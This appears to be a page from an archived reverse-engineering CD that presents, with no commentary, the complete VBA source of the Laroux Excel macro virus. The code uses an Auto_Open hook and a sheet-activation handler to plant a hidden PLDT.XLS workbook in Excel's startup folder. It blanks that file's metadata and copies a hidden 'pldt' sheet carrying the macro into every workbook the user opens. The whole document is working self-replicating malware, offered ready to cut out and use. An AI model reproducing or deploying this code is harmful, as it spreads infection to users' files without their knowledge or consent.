home *** CD-ROM | disk | FTP | other *** search
/ Reverse Code Engineering RCE CD +sandman 2000 / ReverseCodeEngineeringRceCdsandman2000.iso / RCE / Gthorne / reopsahl / laroux.txt < prev    next >
Encoding:
Text File  |  2000-05-25  |  1.7 KB  |  75 lines
  1.  
  2. LAROUX.BAS
  3.  
  4. laroux macro virus for microsoft excel
  5.  
  6. ----------------------- CUT HERE ---------------------------------
  7.  
  8. Sub Auto_Open()
  9.  
  10.     Application.OnSheetActivate = "check_files"
  11.  
  12. End Sub
  13.  
  14.  
  15. Sub check_files()
  16.  
  17.     c$ = Application.StartupPath
  18.     m$ = Dir(c$ & "\" & "PLDT.XLS")
  19.     If m$ = "PLDT.XLS" Then p = 1 Else p = 0
  20.     If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
  21.     whichfile = p + w * 10
  22.  
  23. Select Case whichfile
  24.     Case 10
  25.     Application.ScreenUpdating = False
  26.     n4$ = ActiveWorkbook.Name
  27.  
  28.     Sheets("pldt").Visible = True
  29.     Sheets("pldt").Select
  30.     Sheets("pldt").Copy
  31.  
  32.     With ActiveWorkbook
  33.         .Title = ""
  34.         .Subject = ""
  35.         .Author = ""
  36.         .Keywords = ""
  37.         .Comments = ""
  38.     End With
  39.  
  40.     newname$ = ActiveWorkbook.Name
  41.  
  42.     c4$ = CurDir()
  43.     ChDir Application.StartupPath
  44.     ActiveWindow.Visible = False
  45.     Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
  46.     , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
  47.     False, CreateBackup:=False
  48.  
  49.     ChDir c4$
  50.     Workbooks(n4$).Sheets("pldt").Visible = False
  51.     Application.OnSheetActivate = ""
  52.     Application.ScreenUpdating = True
  53.     Application.OnSheetActivate = "PLDT.XLS!check_files"
  54.  
  55.     Case 1
  56.     Application.ScreenUpdating = False
  57.     n4$ = ActiveWorkbook.Name
  58.     p4$ = ActiveWorkbook.Path
  59.     s$ = Workbooks(n4$).Sheets(1).Name
  60.  
  61.     If s$ <> "pldt" Then
  62.         Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
  63.         Workbooks(n4$).Sheets("pldt").Visible = False
  64.     Else
  65.     End If
  66.  
  67.     Application.OnSheetActivate = ""
  68.     Application.ScreenUpdating = True
  69.     Application.OnSheetActivate = "PLDT.XLS!check_files"
  70.  
  71.     Case Else
  72.  
  73. End Select
  74. End Sub
  75.